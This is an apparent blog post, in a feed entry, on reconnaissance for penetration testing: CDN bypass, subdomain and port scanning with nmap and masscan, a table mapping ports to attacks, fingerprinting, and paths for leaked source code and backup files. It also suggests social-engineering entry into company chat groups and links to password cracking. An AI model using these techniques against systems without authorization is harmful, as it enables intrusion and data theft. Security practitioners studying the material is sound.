    <link href="http://yoursite.com/2022/10/21/infogather/"/>
    <id>http://yoursite.com/2022/10/21/infogather/</id>
    <published>2022-10-21T09:39:32.000Z</published>
    <updated>2022-10-27T08:30:59.412Z</updated>
    
    <content type="html"><![CDATA[<p>信息收集对于渗透测试前期来说是非常重要哒！！！信息收集得够全面，后面的工作就更轻松，最近整理了关于信息收集流程，收集内容以及常用网站、工具，希望对大家有帮助~有需要补充的地方欢迎留言！！！</p><a id="more"></a><h1 id="1-信息收集流程"><a href="#1-信息收集流程" class="headerlink" title="1.信息收集流程"></a>1.信息收集流程</h1><p>1、厂商信息收集：</p><p>whois、启信宝、天眼查、域名备案、服务供应商、第三方厂商系统</p><p>2、资产归属判断：</p><p>whois、备案信息、域名证书、数字签名、logo、title</p><p>3、资产收集维度：</p><p>WEB、APP、PC客户端、微信公众号、微信小程序、支付宝小程序、QQ、钉钉、企业微信、微信群、QQ群</p><p>4、资产收集内容：</p><p>子域名、IP、C段、旁站、WEB路径、参数名、文件名、协议、数据包类型、邮箱、ID、用户名、密码、手机号、员工工号、重要系统密码规则、身份证号、企业资质证书、法人信息</p><h1 id="2-企业信息"><a href="#2-企业信息" class="headerlink" title="2.企业信息"></a>2.企业信息</h1><p><a href="https://www.qixin.com" target="_blank" rel="external">启信宝</a></p><p><a href="https://www.tianyancha.com/" target="_blank" rel="external">天眼查</a></p><p>收集内容：</p><ul><li>企业规模、投资关系</li><li>微信公众号、微博、备案站点、软件著作权、产品</li><li>高管信息</li></ul><p><a href="">启信宝</a></p><h1 id="3-收集域名信息"><a href="#3-收集域名信息" class="headerlink" title="3.收集域名信息"></a>3.收集域名信息</h1><h2 id="3-1Whois查询"><a href="#3-1Whois查询" class="headerlink" title="3.1Whois查询"></a>3.1Whois查询</h2><p>Whois 简单来说，就是一个用来查询域名是否已经被注册，以及注册域名的详细信息的数据库（如域名所有人、域名注册商、域名注册日期和过期日期、DNS等）。通过域名Whois服务器查询，可以查询域名归属者联系方式，以及注册和到期时间。</p><p><a href="https://www.kali.org/downloads/" target="_blank" rel="external">Kali下whois查询</a></p><p><a href="http://whois.chinaz.com/" target="_blank" rel="external">域名Whois查询 - 站长之家</a></p><p><a href="http://whois.aizhan.com/" target="_blank" rel="external">Whois 爱站</a></p><p><a href="https://site.ip138.com/" target="_blank" rel="external">ip138</a></p><p><a href="https://www.whois.net/" target="_blank" rel="external">Whois Lookup</a></p><p><a href="https://lookup.icann.org/" target="_blank" rel="external">ICANN Lookup</a></p><p><a href="https://whois.cloud.tencent.com/domain?domain=" target="_blank" rel="external">域名信息查询 - 腾讯云</a></p><p><a href="http://nicolasbouliane.com/utils/whois/?url=http://baidu.com" target="_blank" rel="external">nicolasbouliane</a></p><p><a href="http://whois.xinnet.com/" target="_blank" rel="external">新网 whois信息查询</a></p><p><a href="http://tool.chinaz.com/ipwhois/" target="_blank" rel="external">IP WHOIS查询 - 站长工具</a></p><h2 id="3-2备案信息查询"><a href="#3-2备案信息查询" class="headerlink" title="3.2备案信息查询"></a>3.2备案信息查询</h2><p>国内网站注册需要向国家有关部门申请备案，防止网站从事非法活动，而国外网站不需要备案。</p><p>还可通过备案信息反查兄弟域名。</p><ul><li><a href="http://www.beianbeian.com/" target="_blank" rel="external">ICP备案查询网</a></li><li><a href="http://icp.bugscaner.com/" target="_blank" rel="external">CP备案查询和反查</a></li><li><a href="http://icp.chinaz.com/" target="_blank" rel="external">ICP备案查询-站长工具</a></li><li><a href="https://www.aizhan.com/seo/" target="_blank" rel="external">SEO综合查询-爱站</a></li><li><a href="http://icp.chinaz.com/searchs" target="_blank" rel="external">批量查询-站长工具</a></li><li><a href="https://beian.miit.gov.cn/#/Integrated/index" target="_blank" rel="external">工业和信息化部ICP/IP/域名信息备案管理</a></li><li><a href="https://www.sec.gov/edgar/searchedgar/companysearch.html" target="_blank" rel="external">美国企业备案查询</a></li></ul><h2 id="3-3真实IP查询"><a href="#3-3真实IP查询" class="headerlink" title="3.3真实IP查询"></a>3.3真实IP查询</h2><p>绕过CDN查找真实IP方法,参考链接：<a href="https://www.cnblogs.com/qiudabai/p/9763739.html" target="_blank" rel="external">https://www.cnblogs.com/qiudabai/p/9763739.html</a></p><ol><li><strong>验证是否存在CDN</strong></li></ol><p>方法一：很简单，使用各种多地 ping 的服务，查看对应 IP 地址是否唯一，如果不唯一多半是使用了CDN， 多地 Ping 网站有：<br><a href="http://ping.chinaz.com/" target="_blank" rel="external">http://ping.chinaz.com/</a><br><a href="http://ping.aizhan.com/" target="_blank" rel="external">http://ping.aizhan.com/</a><br><a href="http://ce.cloud.360.cn/" target="_blank" rel="external">http://ce.cloud.360.cn/</a></p><p>方法二：使用 nslookup 进行检测，原理同上，如果返回域名解析对应多个 IP 地址多半是使用了 CDN。</p><ul><li><p>有 CDN 的示例：</p><p><a href="http://www.163.com/" target="_blank" rel="external">www.163.com</a><br> 服务器: public1.114dns.com<br> Address: 114.114.114.114</p><p>非权威应答:<br> 名称: 163.xdwscache.ourglb0.com<br> Addresses: 58.223.164.86</p><p>125.75.32.252<br> Aliases: <a href="http://www.163.com/" target="_blank" rel="external">www.163.com</a></p><p><a href="http://www.163.com.lxdns.com/" target="_blank" rel="external">www.163.com.lxdns.com</a></p></li><li><p>无 CDN 的示例：</p><blockquote><p>xiaix.me<br>服务器: public1.114dns.com<br>Address: 114.114.114.114</p><p>非权威应答:<br>名称: xiaix.me<br>Address: 192.3.168.172</p></blockquote></li></ul><ol><li><p>解决方法</p><p>方法一:查询历史DNS记录（推荐）</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div></pre></td><td class="code"><pre><div class="line">查看 IP 与 域名绑定的历史记录，可能会存在使用 CDN 前的记录，相关查询网站有：</div><div class="line">https://dnsdb.io/zh-cn/ ###DNS查询</div><div class="line">https://x.threatbook.cn/ ###微步在线</div><div class="line">http://toolbar.netcraft.com/site_report?url= ###在线域名信息查询</div><div class="line">http://viewdns.info/ ###DNS、IP等查询</div><div class="line">https://tools.ipip.net/cdn.php ###CDN查询IP</div></pre></td></tr></table></figure><p>方法二:查询子域名</p><p>方法三：网络空间引擎搜索法（推荐）</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">常见的有以前的钟馗之眼，[shodan](https://www.shodan.io/)，[fofa搜索](https://fofa.so/)。以fofa为例，只需输入：title:“网站的title关键字”或者body：“网站的body特征”就可以找出fofa收录的有这些关键字的ip域名，很多时候能获取网站的真实ip。</div></pre></td></tr></table></figure></li></ol><p>   方法四:利用SSL证书寻找真实原始IP</p><p>   方法五:利用HTTP标头寻找真实原始IP</p><p>   方法六:利用网站返回的内容寻找真实原始IP</p><p>   方法七:使用国外主机解析域名</p><p>   方法八:网站漏洞查找<br><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">1）目标敏感文件泄露，例如：phpinfo之类的探针、GitHub信息泄露等。</div><div class="line">2）XSS盲打，命令执行反弹shell，SSRF等。</div><div class="line">3）无论是用社工还是其他手段，拿到了目标网站管理员在CDN的账号，从而在从CDN的配置中找到网站的真实IP。</div></pre></td></tr></table></figure></p><h2 id="3-4IP反查绑定的域名网站"><a href="#3-4IP反查绑定的域名网站" class="headerlink" title="3.4IP反查绑定的域名网站"></a>3.4IP反查绑定的域名网站</h2><p>IP关联域名，大部分网站一个IP多个域名</p><ul><li><a href="http://s.tool.chinaz.com/same?s" target="_blank" rel="external">chinaz</a></li><li><a href="http://dns.aizhan.com/" target="_blank" rel="external">aizhan</a></li><li><a href="https://webscan.cc/" target="_blank" rel="external">webscan.cc</a></li><li><a href="https://censys.io/ipv4?q=baidu.com（非常牛逼的IP记录站，还能分析内链之类找出可能的IP地址，此外还会记录历史。）" target="_blank" rel="external">https://censys.io/ipv4?q=baidu.com（非常牛逼的IP记录站，还能分析内链之类找出可能的IP地址，此外还会记录历史。）</a></li></ul><h1 id="4-子域名收集"><a href="#4-子域名收集" class="headerlink" title="4.子域名收集"></a>4.子域名收集</h1><h2 id="4-1在线平台"><a href="#4-1在线平台" class="headerlink" title="4.1在线平台"></a>4.1在线平台</h2><h4 id="第三方平台查询（推荐）"><a href="#第三方平台查询（推荐）" class="headerlink" title="第三方平台查询（推荐）"></a>第三方平台查询（推荐）</h4><p>主要是一些第三方网站和一些博主提供的服务</p><ul><li><a href="https://site.ip138.com/" target="_blank" rel="external">ip138</a>（推荐）</li><li><a href="http://tool.chinaz.com/subdomain/?domain=" target="_blank" rel="external">站长工具</a></li><li><a href="https://hackertarget.com/find-dns-host-records/" target="_blank" rel="external">hackertarget</a></li><li><a href="https://phpinfo.me/domain/" target="_blank" rel="external">phpinfo</a>（在线爆破）</li><li><a href="https://www.t1h2ua.cn/tools/" target="_blank" rel="external">t1h2ua</a>（在线爆破）</li><li><a href="https://dnsdumpster.com/" target="_blank" rel="external">dnsdumpster</a></li><li><a href="http://z.zcjun.com/" target="_blank" rel="external">zcjun</a>（在线爆破）</li></ul><h4 id="权重综合查询"><a href="#权重综合查询" class="headerlink" title="权重综合查询"></a>权重综合查询</h4><ul><li><a href="https://www.aizhan.com/seo/" target="_blank" rel="external">爱站</a></li><li><a href="http://rank.chinaz.com/all/" target="_blank" rel="external">站长工具</a></li></ul><h4 id="全国政府网站基本数据库"><a href="#全国政府网站基本数据库" class="headerlink" title="全国政府网站基本数据库"></a>全国政府网站基本数据库</h4><ul><li><a href="https://zfwzzc.www.gov.cn/" target="_blank" rel="external">Address Link</a></li></ul><h1 id="5-收集主机信息"><a href="#5-收集主机信息" class="headerlink" title="5.收集主机信息"></a>5.收集主机信息</h1><h2 id="5-1常用的端口利用及解析总结"><a href="#5-1常用的端口利用及解析总结" class="headerlink" title="5.1常用的端口利用及解析总结"></a>5.1常用的端口利用及解析总结</h2><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div><div class="line">15</div><div class="line">16</div><div class="line">17</div><div class="line">18</div><div class="line">19</div><div class="line">20</div><div class="line">21</div><div class="line">22</div><div class="line">23</div><div class="line">24</div><div class="line">25</div><div class="line">26</div><div class="line">27</div><div class="line">28</div><div class="line">29</div><div class="line">30</div><div class="line">31</div><div class="line">32</div><div class="line">33</div><div class="line">34</div><div class="line">35</div><div class="line">36</div><div class="line">37</div><div class="line">38</div></pre></td><td class="code"><pre><div class="line">端口：21 服务：FTP/TFTP/VSFTPD 总结：爆破/嗅探/溢出/后门</div><div class="line">端口：22 服务：ssh远程连接      总结：爆破/openssh漏洞</div><div class="line">端口：23 服务：Telnet远程连接   总结：爆破/嗅探/弱口令</div><div class="line">端口：25 服务：SMTP邮件服务     总结：邮件伪造</div><div class="line">端口：53 服务：DNS域名解析系统   总结：域传送/劫持/缓存投毒/欺骗</div><div class="line">端口：67/68 服务：dhcp服务      总结：劫持/欺骗</div><div class="line">端口：110 服务：pop3              总结：爆破/嗅探</div><div class="line">端口：139 服务：Samba服务         总结：爆破/未授权访问/远程命令执行</div><div class="line">端口：143 服务：Imap协议         总结：爆破161SNMP协议爆破/搜集目标内网信息</div><div class="line">端口：389 服务：Ldap目录访问协议 总结：注入/未授权访问/弱口令</div><div class="line">端口：445 服务：smb              总结：ms17-010/端口溢出</div><div class="line">端口：512/513/514 服务：Linux Rexec服务 总结：爆破/Rlogin登陆</div><div class="line">端口：873 服务：Rsync服务                 总结：文件上传/未授权访问</div><div class="line">端口：1080 服务：socket                  总结：爆破</div><div class="line">端口：1352 服务：Lotus domino邮件服务   总结：爆破/信息泄漏</div><div class="line">端口：1433 服务：mssql                  总结：爆破/注入/SA弱口令</div><div class="line">端口：1521 服务：oracle       总结：爆破/注入/TNS爆破/反弹shell2049Nfs服务配置不当</div><div class="line">端口：2181 服务：zookeeper服务            总结：未授权访问</div><div class="line">端口：2375 服务：docker remote api    总结：未授权访问</div><div class="line">端口：3306 服务：mysql                 总结：爆破/注入</div><div class="line">端口：3389 服务：Rdp远程桌面链接        总结：爆破/shift后门</div><div class="line">端口：4848 服务：GlassFish控制台       总结：爆破/认证绕过</div><div class="line">端口：5000 服务：sybase/DB2数据库      总结：爆破/注入/提权</div><div class="line">端口：5432 服务：postgresql             总结：爆破/注入/缓冲区溢出</div><div class="line">端口：5632 服务：pcanywhere服务        总结：抓密码/代码执行</div><div class="line">端口：5900 服务：vnc                     总结：爆破/认证绕过</div><div class="line">端口：6379 服务：Redis数据库           总结：未授权访问/爆破</div><div class="line">端口：7001/7002 服务：weblogic         总结：java反序列化/控制台弱口令</div><div class="line">端口：80/443 服务：http/https         总结：web应用漏洞/心脏滴血</div><div class="line">端口：8069 服务：zabbix服务            总结：远程命令执行/注入</div><div class="line">端口：8161 服务：activemq             总结：弱口令/写文件</div><div class="line">端口：8080/8089 服务：Jboss/Tomcat/Resin 总结：爆破/PUT文件上传/反序列化</div><div class="line">端口：8083/8086 服务：influxDB         总结：未授权访问</div><div class="line">端口：9000 服务：fastcgi                 总结：远程命令执行</div><div class="line">端口：9090 服务：Websphere             总结：控制台爆破/java反序列化/弱口令</div><div class="line">端口：9200/9300 服务：elasticsearch   总结：远程代码执行</div><div class="line">端口：11211 服务：memcached             总结：未授权访问</div><div class="line">端口：27017/27018 服务：mongodb         总结：未授权访问/爆破</div></pre></td></tr></table></figure><h2 id="5-2扫描工具"><a href="#5-2扫描工具" class="headerlink" title="5.2扫描工具"></a>5.2扫描工具</h2><h4 id="Masscan"><a href="#Masscan" class="headerlink" title="Masscan"></a>Masscan</h4><p>项目地址：<code>https://github.com/robertdavidgraham/masscan</code></p><p>Masscan主要是真对全网进行端口扫描</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">masscan --ping 192.168.1.0/24 --rate 10000</div><div class="line"></div><div class="line">masscan -iL tmp_scanip_list.tmp -p1-65535 -Pn -v --randomize-hosts --banners -oX result.xml --rate 10000</div></pre></td></tr></table></figure><h4 id="Nmap"><a href="#Nmap" class="headerlink" title="Nmap"></a>Nmap</h4><p>项目地址：<code>https://github.com/nmap/nmap</code>.</p><p><strong>扫描存活主机</strong></p><p><code>-sL</code> 列出要扫描的ip</p><p><code>-sn</code> 不进行端口扫描</p><p><code>-Pn</code> 将所有主机都默认为在线，跳过主机发现</p><p><code>-PS/PA/PU/PY</code> 使用TCP、SYN/ACK、UDP或SCTP协议去发现端口</p><p><code>-PE/PP/PM</code>：使用ICMP响应（echo）、时间戳或子网掩码请求来发现探测</p><p><code>-P0</code> 不使用IP协议的ping</p><p><code>-n</code> 不做DNS解析</p><p><code>-R</code> 总是做DNS反向解析</p><p><code>--dns-servers</code>指定自定义的DNS服务器</p><p><code>--system-dns</code> 使用操作系统的DNS</p><p><code>--traceroute</code> 追踪每台主机的跳转路径</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">nmap -sP 192.168.123.1/24    //ping扫描</div><div class="line">nmap -p0 192.168.123.1/24    //无ping扫描</div><div class="line">nmap -PS 192.168.123.1/24    //TCP Syn Ping扫描</div></pre></td></tr></table></figure><p>推荐命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">nmap -sC -v -A IP -p PORT -oN result.txt</div></pre></td></tr></table></figure><p>常用命令</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line">nmap -p- -Pn -sV -v -open -T4 -n -sS -O x.x.x.x</div><div class="line">-p- 扫描全端口</div><div class="line">-Pn 不ping扫描</div><div class="line">-sV 扫描版本信息</div><div class="line">-v  显示扫描过程</div><div class="line">--open 只显示开放端口</div><div class="line">-T4 设置时序模板为自动控制</div><div class="line">-n  不进行dns解析</div><div class="line">-sS SYN半连接扫描</div><div class="line">-O 扫描操作系统</div></pre></td></tr></table></figure><p>快速扫描所有端口：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div></pre></td><td class="code"><pre><div class="line">nmap -sS -p 1-65535 -v 192.168.99.177</div></pre></td></tr></table></figure><h4 id="Masscan-Nmap"><a href="#Masscan-Nmap" class="headerlink" title="Masscan+Nmap"></a>Masscan+Nmap</h4><p>有些时候网站的入口点属于非常规端口，因此是必须要做全端口扫描，做全端口扫描的时候由于<strong>namp</strong>发包量大经常出现各种问题，如端口扫描不全、获得信息不准等等，为了解决上述问题，这里提供一个<strong>masscan+nmap</strong>结合的方式进行快速扫描。</p><p>原理：使用masscan做全端口开放检测，检测出来端口信息后，用nmap进行服务信息识别。</p><p>使用：终端输入以下命令执行即可</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div></pre></td><td class="code"><pre><div class="line"># masscan --ping 192.168.1.0/24 --rate 10000</div><div class="line">  nmap -sP 192.168.1.0/24</div><div class="line"></div><div class="line"># masscan 192.33.6.145 -p1-65535  --rate 1000 -oL ports</div><div class="line"></div><div class="line"># ports=$(cat ports | awk -F &quot; &quot; &apos;&#123;print $3&#125;&apos; | sort -n | tr &apos;\n&apos; &apos;,&apos;  | sed &apos;s/,$//&apos; | sed &apos;s/^,,//&apos;)</div><div class="line"></div><div class="line"># nmap -sV -p $ports 192.33.6.145</div><div class="line">  nmap -sC -v -A IP -p PORT -oN result.txt</div></pre></td></tr></table></figure><h4 id="masnmapscan"><a href="#masnmapscan" class="headerlink" title="masnmapscan"></a>masnmapscan</h4><p>项目地址：<code>https://github.com/hellogoldsnakeman/masnmapscan-V1.0</code></p><p>masnmapscan整合了masscan和nmap两款扫描器，masscan扫描端口，nmap扫描端口对应服务，二者结合起来实现了又快又好地扫描。并且加入了针对目标资产有防火墙的应对措施。</p><h4 id="Zmap"><a href="#Zmap" class="headerlink" title="Zmap"></a>Zmap</h4><p>项目地址：<code>https://github.com/zmap/zmap</code></p><p>Zmap主要是真对全网进行端口扫描</p><h1 id="6-指纹识别"><a href="#6-指纹识别" class="headerlink" title="6.指纹识别"></a>6.指纹识别</h1><p>Web指纹识别技术研究与优化实现：<a href="https://www.anquanke.com/post/id/178230" target="_blank" rel="external">https://www.anquanke.com/post/id/178230</a> 常见指纹检测的对象</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div></pre></td><td class="code"><pre><div class="line">1、CMS信息：比如大汉CMS、织梦、帝国CMS、phpcms、ecshop等；</div><div class="line">2、前端技术：比如HTML5、jquery、bootstrap、pure、ace等；</div><div class="line">3、Web服务器：比如Apache、lighttpd, Nginx, IIS等；</div><div class="line">4、应用服务器：比如Tomcat、Jboss、weblogic、websphere等；</div><div class="line">5、开发语言：比如PHP、Java、Ruby、Python、C#等；</div><div class="line">6、操作系统信息：比如linux、win2k8、win7、kali、centos等；</div><div class="line">7、CDN信息：是否使用CDN，如cloudflare、360cdn、365cyd、yunjiasu等；</div><div class="line">8、WAF信息：是否使用waf，如Topsec、Jiasule、Yundun等；</div><div class="line">9、IP及域名信息：IP和域名注册信息、服务商信息等；</div><div class="line">10、端口信息：有些软件或平台还会探测服务器开放的常见端口。</div></pre></td></tr></table></figure><h3 id="指纹识别"><a href="#指纹识别" class="headerlink" title="指纹识别"></a>指纹识别</h3><p>在漏洞挖掘中，对目标服务器进行指纹识别是相当有必要的，因为只有识别出相应的Web容器或者CMS，才能查找与其相关的漏洞，然后才能进行相应的渗透操作。</p><p>CMS (Content Management System)又称整站系统或文章系统。常见的CMS有Dedecms (织梦)、Discuz、  PHPWEB、 PHPWind、PHPCMS、ECShop、 Dvbbs、 SiteWeaver、 ASPCMS、帝国、Z-  Blog、WordPress等。</p><h4 id="第三方平台"><a href="#第三方平台" class="headerlink" title="第三方平台"></a>第三方平台</h4><ul><li><a href="http://www.yunsee.cn/" target="_blank" rel="external">云悉</a></li><li><a href="http://finger.tidesec.net/" target="_blank" rel="external">TideFinger</a></li><li><a href="http://whatweb.bugscaner.com/look/" target="_blank" rel="external">BugScaner</a></li><li><a href="https://fp.shuziguanxing.com/#/" target="_blank" rel="external">数字观星</a></li></ul><h4 id="工具"><a href="#工具" class="headerlink" title="工具"></a>工具</h4><p>常用指纹识别工具有：<code>御剑Web指纹识别</code>、<code>WhatWeb</code>、<code>Test404轻量CMS指纹识别+v2.1</code>、<code>椰树</code>等，可以快速识别一些主流CMS</p><p>Github项目</p><ul><li><a href="https://github.com/urbanadventurer/WhatWeb" target="_blank" rel="external">Whatweb</a>（推荐）</li><li><a href="https://github.com/Tuhinshubhra/CMSeeK" target="_blank" rel="external">CMSeeK</a></li><li><a href="https://github.com/Dionach/CMSmap" target="_blank" rel="external">CMSmap</a></li><li><a href="https://github.com/aedoo/ACMSDiscovery" target="_blank" rel="external">ACMSDiscovery</a></li><li><a href="https://github.com/TideSec/TideFinger" target="_blank" rel="external">TideFinger</a></li><li><a href="https://github.com/Lucifer1993/AngelSword" target="_blank" rel="external">AngelSword</a></li></ul><h1 id="7-收集敏感信息"><a href="#7-收集敏感信息" class="headerlink" title="7.收集敏感信息"></a>7.收集敏感信息</h1><h2 id="7-1敏感信息收集网站"><a href="#7-1敏感信息收集网站" class="headerlink" title="7.1敏感信息收集网站"></a>7.1敏感信息收集网站</h2><blockquote><p>网盘搜索：<a href="http://www.pansou.com/" target="_blank" rel="external">http://www.pansou.com/</a> 或 <a href="https://www.lingfengyun.com/" target="_blank" rel="external">https://www.lingfengyun.com/</a><br>网盘密码破解：<a href="https://www.52pojie.cn/thread-763130-1-1.html" target="_blank" rel="external">https://www.52pojie.cn/thread-763130-1-1.html</a><br>社工信息泄露：<a href="https://www.instantcheckmate.com/、http://www.uneihan.com/" target="_blank" rel="external">https://www.instantcheckmate.com/、http://www.uneihan.com/</a><br>源码搜索：<a href="https://searchcode.com/、https://gitee.com/、https://gitcafe.com、https://code.csdn.net" target="_blank" rel="external">https://searchcode.com/、https://gitee.com/、https://gitcafe.com、https://code.csdn.net</a><br>钟馗之眼： <a href="https://www.zoomeye.org/" target="_blank" rel="external">https://www.zoomeye.org/</a><br>天眼查： <a href="https://www.tianyancha.com/" target="_blank" rel="external">https://www.tianyancha.com/</a> 这个有破解使用企业版查询的办法<br>佛法：<a href="https://fofa.so/" target="_blank" rel="external">https://fofa.so/</a> 帮助文档：<a href="https://fofa.so/help" target="_blank" rel="external">https://fofa.so/help</a><br>微步在线：<a href="https://x.threatbook.cn/" target="_blank" rel="external">https://x.threatbook.cn/</a><br>360情报中心：<a href="https://ti.360.cn/" target="_blank" rel="external">https://ti.360.cn/</a><br>在线查毒：<a href="https://www.virustotal.com/l" target="_blank" rel="external">https://www.virustotal.com/l</a></p></blockquote><h2 id="7-2目录-amp-后台扫描"><a href="#7-2目录-amp-后台扫描" class="headerlink" title="7.2目录&amp;后台扫描"></a>7.2目录&amp;后台扫描</h2><p>常用工具</p><ul><li>7kbscan<br>  <a href="https://github.com/7kbstorm/7kbscan-WebPathBrute" target="_blank" rel="external">https://github.com/7kbstorm/7kbscan-WebPathBrute</a></li><li>DirMap<br>  <a href="https://github.com/H4ckForJob/dirmap" target="_blank" rel="external">https://github.com/H4ckForJob/dirmap</a></li><li>dirsearch<br>  <a href="https://github.com/maurosoria/dirsearch" target="_blank" rel="external">https://github.com/maurosoria/dirsearch</a></li><li>Fuzz-gobuster<br>  <a href="https://github.com/OJ/gobuster" target="_blank" rel="external">https://github.com/OJ/gobuster</a></li><li>Fuzz-dirbuster<br>  OWASP kali自带</li><li>Fuzz-wfuzz<br>  <a href="https://github.com/xmendez/wfuzz" target="_blank" rel="external">https://github.com/xmendez/wfuzz</a></li><li>Test404轻量后台扫描器+v2.0</li><li>御剑</li><li>破壳Web极速扫描器</li></ul><p>个人比较喜欢使用Fuzz大法，不管是目录扫描、后台扫描、Web漏洞模糊测试都是非常灵活的。这几款fuzz工具都比较好用</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div></pre></td><td class="code"><pre><div class="line">基于Go开发：gobuster</div><div class="line">基于Java开发：dirbuster</div><div class="line">基于Python开发：wfuzz</div></pre></td></tr></table></figure><p>kali默认字典目录： /usr/share/wordlists/</p><h2 id="7-3源码泄露"><a href="#7-3源码泄露" class="headerlink" title="7.3源码泄露"></a>7.3源码泄露</h2><h4 id="常见源码泄露"><a href="#常见源码泄露" class="headerlink" title="常见源码泄露"></a>常见源码泄露</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div><div class="line">13</div><div class="line">14</div></pre></td><td class="code"><pre><div class="line">/.bzr/</div><div class="line">/CVS/Entries</div><div class="line">/CVS/Root</div><div class="line">/.DS_Store  MacOS自动生成</div><div class="line">/.hg/</div><div class="line">/.svn/ (/.svn/entries)</div><div class="line">/.git/</div><div class="line">/WEB-INF/src/</div><div class="line">/WEB-INF/lib/</div><div class="line">/WEB-INF/classes/</div><div class="line">/WEB-INF/database.properties</div><div class="line">/WEB-INF/web.xml</div><div class="line"></div><div class="line">Robots.txt</div></pre></td></tr></table></figure><p>上述源码泄露在Github上都可以找到相应的利用工具</p><h4 id="A-网页扫描"><a href="#A-网页扫描" class="headerlink" title="A 网页扫描"></a>A 网页扫描</h4><p>通过扫描器扫描web站点，看是否有源码相关目录被泄漏，如有，再通过特殊工具恢复</p><p>工具如：<strong>破壳web扫描器</strong>、<strong>御剑扫描器</strong></p><h4 id="B-github类信息泄漏"><a href="#B-github类信息泄漏" class="headerlink" title="B github类信息泄漏"></a>B github类信息泄漏</h4><p>GitHub敏感信息泄露一直是企业信息泄露和知识产权泄露的重灾区，安全意识薄弱的同事经常会将公司的代码、各种服务的账户等极度敏感的信息『开源』到github中，github也是黑、白帽子、安全工程师的必争之地。</p><p><strong>全自动监控github</strong>：<a href="https://sec.xiaomi.com/article/37" target="_blank" rel="external">https://sec.xiaomi.com/article/37</a><br><strong>GitHub敏感信息泄露监控</strong>：<a href="https://github.com/FeeiCN/GSIL" target="_blank" rel="external">GSIL</a>、<a href="https://github.com/VKSRC/Github-Monitor" target="_blank" rel="external">Github-Monitor</a><br>在GitHub中一般通过搜索网站域名、网站JS路径、网站备案、网站下的技术支持等进行敏感信息查询</p><h4 id="C-社工方式收集"><a href="#C-社工方式收集" class="headerlink" title="C 社工方式收集"></a>C 社工方式收集</h4><p>还可以在QQ群备注或介绍等，甚至混入企业qq工作群查找，这设计社工范畴了</p><h4 id="D-源码泄露利用工具"><a href="#D-源码泄露利用工具" class="headerlink" title="D 源码泄露利用工具"></a>D 源码泄露利用工具</h4><ul><li>.git源码泄露：<a href="https://github.com/lijiejie/GitHack" target="_blank" rel="external">https://github.com/lijiejie/GitHack</a></li><li>.DS_Store泄露：<a href="https://github.com/lijiejie/ds_store_exp" target="_blank" rel="external">https://github.com/lijiejie/ds_store_exp</a></li><li>.bzr、CVS、.svn、.hg源码泄露：<a href="https://github.com/kost/dvcs-ripper" target="_blank" rel="external">https://github.com/kost/dvcs-ripper</a></li></ul><h2 id="7-4备份文件泄露"><a href="#7-4备份文件泄露" class="headerlink" title="7.4备份文件泄露"></a>7.4备份文件泄露</h2><h4 id="备份文件泄露常见名称"><a href="#备份文件泄露常见名称" class="headerlink" title="备份文件泄露常见名称"></a>备份文件泄露常见名称</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">backup</div><div class="line">db</div><div class="line">data</div><div class="line">web</div><div class="line">wwwroot</div><div class="line">database</div><div class="line">www</div><div class="line">code</div><div class="line">test</div><div class="line">admin</div><div class="line">user</div><div class="line">sql</div></pre></td></tr></table></figure><h4 id="备份文件泄露常见后缀"><a href="#备份文件泄露常见后缀" class="headerlink" title="备份文件泄露常见后缀"></a>备份文件泄露常见后缀</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><div class="line">1</div><div class="line">2</div><div class="line">3</div><div class="line">4</div><div class="line">5</div><div class="line">6</div><div class="line">7</div><div class="line">8</div><div class="line">9</div><div class="line">10</div><div class="line">11</div><div class="line">12</div></pre></td><td class="code"><pre><div class="line">.bak</div><div class="line">.html</div><div class="line">_index.html</div><div class="line">.swp</div><div class="line">.rar</div><div class="line">.txt</div><div class="line">.zip</div><div class="line">.7z</div><div class="line">.sql</div><div class="line">.tar.gz</div><div class="line">.tgz</div><div class="line">.tar</div></pre></td></tr></table></figure><h4 id="备份文件泄露扫描工具"><a href="#备份文件泄露扫描工具" class="headerlink" 